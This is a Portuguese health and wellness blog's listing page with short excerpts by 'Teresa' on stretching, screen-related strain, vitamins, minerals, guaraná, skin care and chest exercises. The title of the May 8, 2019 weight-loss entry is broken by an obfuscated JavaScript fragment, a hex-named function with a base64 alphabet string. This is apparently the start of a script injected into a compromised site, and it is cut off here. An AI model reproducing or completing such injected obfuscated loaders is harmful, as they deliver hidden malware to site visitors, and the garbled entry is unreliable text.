Ago 30, 2019 | Dicas úteis, Estilo e beleza, Teresa
Exercícios para alongar, na cama Já pensou que o seu dia de trabalho é um dia árduo de exercício físico, então precisa de um pequeno aquecimento muscular. Sabia que pode fazê-lo na cama. Sim, na sua própria cama, mesmo antes de se levantar. Não custa nada e vai...
Jul 8, 2019 | Dicas úteis, Faça você mesmo, Saúde e bem estar, Teresa
Exercícios e dicas para evitar lesões provocadas pelo uso excessivo do computador e telemóvel Você sabe, e eu também, que o uso continuado e excessivo das novas tecnologias tem mudado a forma como nos relacionamos com o mundo em geral e em especial com a família e...
Mai 8, 2019 | perder peso, Saúde e bem estar, Teresa
10 mfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Ago 30, 2017 | Saúde e bem estar
Dicas saudáveis – 7 Benefícios do Ácido Fólico Hoje venho falar-lhe de uma vitamina muito importante para o nosso organismo. Já lhe falei dela em vários artigos, no entanto hoje vou explicar-lhe o que é e para que serve nas minhas dicas saudáveis....
Ago 15, 2017 | Saúde e bem estar
7 Benefícios do crómio para a nossa saúde Hoje venho falar-lhe de um mineral essencial que ajuda a acelerar a perda de peso, aumenta a queima de gordura e minimiza o colesterol no sangue. Será que conhece todos os benefícios do crómio para a nossa saúde? O crómio...
Jun 20, 2017 | Equilíbrio
Dicas saudáveis – Conheça os Benefícios do guaraná Hoje vou dar-lhe mais dicas saudáveis: conheça os benefícios do guaraná. Trata-se de uma planta da Amazónia. que pode ser encontrada no Brasil e até mesmo na Venezuela! Esta planta, para além de estimular o...
Jun 17, 2017 | Saúde e bem estar
10 segredos para uma pele perfeita Uma pele saudável, suave e sem imperfeições é o sonho de muitas mulheres, especialmente se estamos a falar na pele do rosto. Se é verdade que não há milagres também é verdade que pondo em prática alguns truques os resultados vão...
Abr 27, 2017 | Dicas úteis, Saúde e bem estar
Dicas saudáveis -10 Benefícios da vitamina A Faço questão de lhe dar dicas saudáveis. Hoje venho falar-lhe do benefícios da vitamina A. Sabe em que alimentos é que a pode encontrar? Eu ajudo! A vitamina A encontra-se nos óleos de fígado de peixe, em suplementos,...
Mar 16, 2017 | Dicas úteis, Saúde e bem estar
5 Exercícios para ter o peito mais firme Um peito mais firme é o desejo de muitas mulheres. No entanto, com o passar dos anos tendemos a perder alguma firmeza nessa zona do corpo, principalmente se não praticarmos algum tipo de exercício físico. Mas hoje trago-lhe...
